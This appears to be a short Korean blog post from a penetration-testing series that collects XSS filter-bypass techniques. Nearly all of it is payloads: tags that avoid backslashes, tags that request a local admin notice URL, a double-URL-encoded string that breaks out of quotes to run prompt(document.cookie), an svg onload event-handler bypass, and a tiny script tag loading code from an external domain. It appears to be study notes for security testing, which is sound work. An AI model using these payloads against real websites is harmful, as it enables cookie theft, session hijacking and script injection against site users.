[웹 취약점] XSS 기법 정리

.·2022년 7월 18일
0

모의해킹

목록 보기
3/3

1. 백슬래시 필터링

: 백슬래시 안써도 되는 친구들 쓰면 됨.

  • <svg>
  • <img src=#>
  • <img src=#>

2. 링크

  • <img src="http://127.0.0.1:8000/notice?id=admin">
  • <embed src="http://127.0.0.1:8000/notice?id=admin"/>
  • <link rel="stylesheet" href="http://127.0.0.1:8000/notice?id=admin">
  • <object data=’./notice?id=admin’ ></object>

3. 더블쿼터 필터링

삽입구문 : %5d%2522%29%0a%0aprompt(document.cookie);%0a%0a%28%2522

결과 :

]%22)

prompt(document.cookie);

(%22

더블쿼터(")를 URL 인코딩하면 %22인데, 현재 %22 가 필터링 되고 있어서 %를 URL 인코딩하고 합쳐주면 된다. (% 는 인코딩하면 %25)

%2522%22가 되서 넘어갈때는 "로 넘어간다

4. x- 태그 필터링

  • <svg </onload =”1> (=prompt,(1)) “”>

출처 : Bypass XSS Protection (Event Handler filtering) with string+slash(XSS 우회기법)

5. Tiny XSS

  • <script/src=//⑮.₨

0개의 댓글